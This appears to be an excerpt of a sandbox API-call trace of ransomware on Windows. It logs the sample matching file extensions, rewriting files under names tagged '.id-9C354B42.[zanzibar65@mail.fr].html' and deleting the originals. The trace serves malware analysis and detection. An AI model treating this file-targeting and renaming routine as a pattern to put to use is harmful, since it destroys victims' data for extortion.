[0274.971] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=13240) returned 1 [0274.971] CloseHandle (hObject=0x354) returned 1 [0274.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0274.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.971] lstrlenW (lpString=".doc") returned 4 [0274.971] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.971] lstrlenW (lpString=".docx") returned 5 [0274.971] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0274.971] lstrlenW (lpString=".pdf") returned 4 [0274.971] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.971] lstrlenW (lpString=".xls") returned 4 [0274.971] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.971] lstrlenW (lpString=".xlsx") returned 5 [0274.971] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0274.971] lstrlenW (lpString=".ppt") returned 4 [0274.971] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString=".zip") returned 4 [0274.972] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString=".rar") returned 4 [0274.972] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString=".bz2") returned 4 [0274.972] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.972] lstrlenW (lpString=".7z") returned 3 [0274.972] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString=".dbf") returned 4 [0274.972] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString=".1cd") returned 4 [0274.972] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString=".jpg") returned 4 [0274.972] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString=".doc") returned 4 [0274.972] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString=".docx") returned 5 [0274.972] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0274.972] lstrlenW (lpString=".pdf") returned 4 [0274.972] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString=".xls") returned 4 [0274.972] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString=".xlsx") returned 5 [0274.972] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0274.972] lstrlenW (lpString=".ppt") returned 4 [0274.972] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.972] lstrlenW (lpString=".zip") returned 4 [0274.972] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.972] lstrlenW (lpString=".rar") returned 4 [0274.973] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.973] lstrlenW (lpString=".bz2") returned 4 [0274.973] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.973] lstrlenW (lpString=".7z") returned 3 [0274.973] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.973] lstrlenW (lpString=".dbf") returned 4 [0274.973] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.973] lstrlenW (lpString=".1cd") returned 4 [0274.973] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0274.973] lstrlenW (lpString=".jpg") returned 4 [0274.973] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.973] lstrcmpiW (lpString1=".VSL", lpString2=".html") returned 1 [0274.973] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0274.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.974] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=41864) returned 1 [0274.974] CloseHandle (hObject=0x354) returned 1 [0274.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0274.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.974] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.974] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0275.033] GetLastError () returned 0x0 [0275.033] ReadFile (hFile=0x354, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0) Thread: id = 96 os_tid = 0x678 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x363130 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x373138 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2f80 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5018 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3850020 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f51b0 [0266.588] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f51b0, Size=0x20) returned 0x312958 [0266.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f51b0 [0266.588] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f51b0, Size=0x20) returned 0x312b10 [0266.589] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.589] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.589] Wow64DisableWow64FsRedirection (in: OldValue=0x2d3ff58 | out: OldValue=0x2d3ff58*=0x0) returned 1 [0266.589] lstrlenW (lpString="kernel32.dll") returned 12 [0266.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312958 | out: hHeap=0x2a0000) returned 1 [0266.589] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312b10 | out: hHeap=0x2a0000) returned 1 [0266.589] Sleep (dwMilliseconds=0x64) [0266.832] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1 [0266.832] lstrlenW (lpString="desktop.ini") returned 11 [0266.832] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0266.832] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=129) returned 1 [0266.832] CloseHandle (hObject=0x230) returned 1 [0266.832] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0266.832] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0x26 [0266.833] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.833] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.833] lstrlenW (lpString=".doc") returned 4 [0266.833] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0266.833] lstrlenW (lpString=".docx") returned 5 [0266.833] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0266.833] lstrlenW (lpString=".pdf") returned 4 [0266.833] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0266.833] lstrlenW (lpString=".xls") returned 4 [0266.833] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0266.833] lstrlenW (lpString=".xlsx") returned 5 [0266.833] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0266.833] lstrlenW (lpString=".ppt") returned 4 [0266.833] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0266.833] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.833] lstrlenW (lpString=".zip") returned 4 [0266.833] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0266.833] lstrlenW (lpString=".rar") returned 4 [0266.833] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0266.833] lstrlenW (lpString=".bz2") returned 4 [0266.833] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0266.833] lstrlenW (lpString=".7z") returned 3 [0266.833] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0266.833] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.833] lstrlenW (lpString=".dbf") returned 4 [0266.833] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0266.833] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.833] lstrlenW (lpString=".1cd") returned 4 [0266.833] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0266.833] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.833] lstrlenW (lpString=".jpg") returned 4 [0266.833] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0266.834] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.834] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.834] lstrlenW (lpString=".doc") returned 4 [0266.834] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0266.834] lstrlenW (lpString=".docx") returned 5 [0266.834] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0266.834] lstrlenW (lpString=".pdf") returned 4 [0266.834] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0266.834] lstrlenW (lpString=".xls") returned 4 [0266.834] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0266.834] lstrlenW (lpString=".xlsx") returned 5 [0266.834] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0266.834] lstrlenW (lpString=".ppt") returned 4 [0266.834] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0266.834] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.834] lstrlenW (lpString=".zip") returned 4 [0266.834] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0266.834] lstrlenW (lpString=".rar") returned 4 [0266.834] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0266.834] lstrlenW (lpString=".bz2") returned 4 [0266.834] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0266.834] lstrlenW (lpString=".7z") returned 3 [0266.834] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0266.834] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.834] lstrlenW (lpString=".dbf") returned 4 [0266.834] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0266.834] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.834] lstrlenW (lpString=".1cd") returned 4 [0266.834] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0266.834] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0266.834] lstrlenW (lpString=".jpg") returned 4 [0266.834] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0266.835] Sleep (dwMilliseconds=0x64) [0267.090] lstrcmpiW (lpString1=".LOG", lpString2=".html") returned 1 [0267.090] lstrlenW (lpString="BCD.LOG") returned 7 [0267.091] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.091] lstrlenW (lpString=".doc") returned 4 [0267.091] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0267.091] lstrlenW (lpString=".docx") returned 5 [0267.091] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0267.091] lstrlenW (lpString=".pdf") returned 4 [0267.091] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0267.091] lstrlenW (lpString=".xls") returned 4 [0267.091] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0267.091] lstrlenW (lpString=".xlsx") returned 5 [0267.091] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0267.091] lstrlenW (lpString=".ppt") returned 4 [0267.091] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0267.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.091] lstrlenW (lpString=".zip") returned 4 [0267.091] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0267.091] lstrlenW (lpString=".rar") returned 4 [0267.091] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0267.091] lstrlenW (lpString=".bz2") returned 4 [0267.091] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0267.091] lstrlenW (lpString=".7z") returned 3 [0267.091] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0267.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.091] lstrlenW (lpString=".dbf") returned 4 [0267.091] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0267.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.091] lstrlenW (lpString=".1cd") returned 4 [0267.091] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0267.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.091] lstrlenW (lpString=".jpg") returned 4 [0267.091] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0267.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.092] lstrlenW (lpString=".doc") returned 4 [0267.092] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0267.092] lstrlenW (lpString=".docx") returned 5 [0267.092] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0267.092] lstrlenW (lpString=".pdf") returned 4 [0267.092] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0267.092] lstrlenW (lpString=".xls") returned 4 [0267.092] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0267.092] lstrlenW (lpString=".xlsx") returned 5 [0267.092] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0267.092] lstrlenW (lpString=".ppt") returned 4 [0267.092] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0267.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.092] lstrlenW (lpString=".zip") returned 4 [0267.092] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0267.092] lstrlenW (lpString=".rar") returned 4 [0267.092] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0267.092] lstrlenW (lpString=".bz2") returned 4 [0267.092] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0267.092] lstrlenW (lpString=".7z") returned 3 [0267.092] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0267.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.092] lstrlenW (lpString=".dbf") returned 4 [0267.092] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0267.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.092] lstrlenW (lpString=".1cd") returned 4 [0267.092] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0267.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0267.092] lstrlenW (lpString=".jpg") returned 4 [0267.092] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0267.093] lstrcmpiW (lpString1=".log", lpString2=".html") returned 1 [0267.093] lstrlenW (lpString="bootex.log") returned 10 [0267.093] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.184] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=5120) returned 1 [0267.184] CloseHandle (hObject=0x2fc) returned 1 [0267.184] GetFileAttributesW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 0x80 [0267.240] GetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootex.log.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.240] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.240] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.240] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.240] CreateFileW (lpFileName="C:\\bootex.log.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootex.log.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0267.241] GetLastError () returned 0x0 [0267.241] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x1400, lpOverlapped=0x0) returned 1 [0267.262] WriteFile (in: hFile=0x2f4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0267.263] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.263] WriteFile (in: hFile=0x2f4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0267.263] SetEndOfFile (hFile=0x2f4) returned 1 [0267.263] CloseHandle (hObject=0x2f4) returned 1 [0267.263] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.263] SetEndOfFile (hFile=0x2f0) returned 1 [0267.264] CloseHandle (hObject=0x2f0) returned 1 [0267.264] SetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x80) returned 1 [0267.264] DeleteFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 1 [0267.264] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString=".doc") returned 4 [0267.265] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0267.265] lstrlenW (lpString=".docx") returned 5 [0267.265] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1 [0267.265] lstrlenW (lpString=".pdf") returned 4 [0267.265] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0267.265] lstrlenW (lpString=".xls") returned 4 [0267.265] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0267.265] lstrlenW (lpString=".xlsx") returned 5 [0267.265] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1 [0267.265] lstrlenW (lpString=".ppt") returned 4 [0267.265] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString=".zip") returned 4 [0267.265] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0267.265] lstrlenW (lpString=".rar") returned 4 [0267.265] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0267.265] lstrlenW (lpString=".bz2") returned 4 [0267.265] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0267.265] lstrlenW (lpString=".7z") returned 3 [0267.265] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString=".dbf") returned 4 [0267.265] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString=".1cd") returned 4 [0267.265] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString=".jpg") returned 4 [0267.265] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.265] lstrlenW (lpString=".doc") returned 4 [0267.265] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0267.266] lstrlenW (lpString=".docx") returned 5 [0267.266] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1 [0267.266] lstrlenW (lpString=".pdf") returned 4 [0267.266] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0267.266] lstrlenW (lpString=".xls") returned 4 [0267.266] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0267.266] lstrlenW (lpString=".xlsx") returned 5 [0267.266] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1 [0267.266] lstrlenW (lpString=".ppt") returned 4 [0267.266] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0267.266] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.266] lstrlenW (lpString=".zip") returned 4 [0267.266] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0267.266] lstrlenW (lpString=".rar") returned 4 [0267.266] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0267.266] lstrlenW (lpString=".bz2") returned 4 [0267.266] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0267.266] lstrlenW (lpString=".7z") returned 3 [0267.266] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0267.266] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.266] lstrlenW (lpString=".dbf") returned 4 [0267.266] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0267.266] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.266] lstrlenW (lpString=".1cd") returned 4 [0267.266] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0267.266] lstrlenW (lpString="C:\\bootex.log") returned 13 [0267.266] lstrlenW (lpString=".jpg") returned 4 [0267.266] 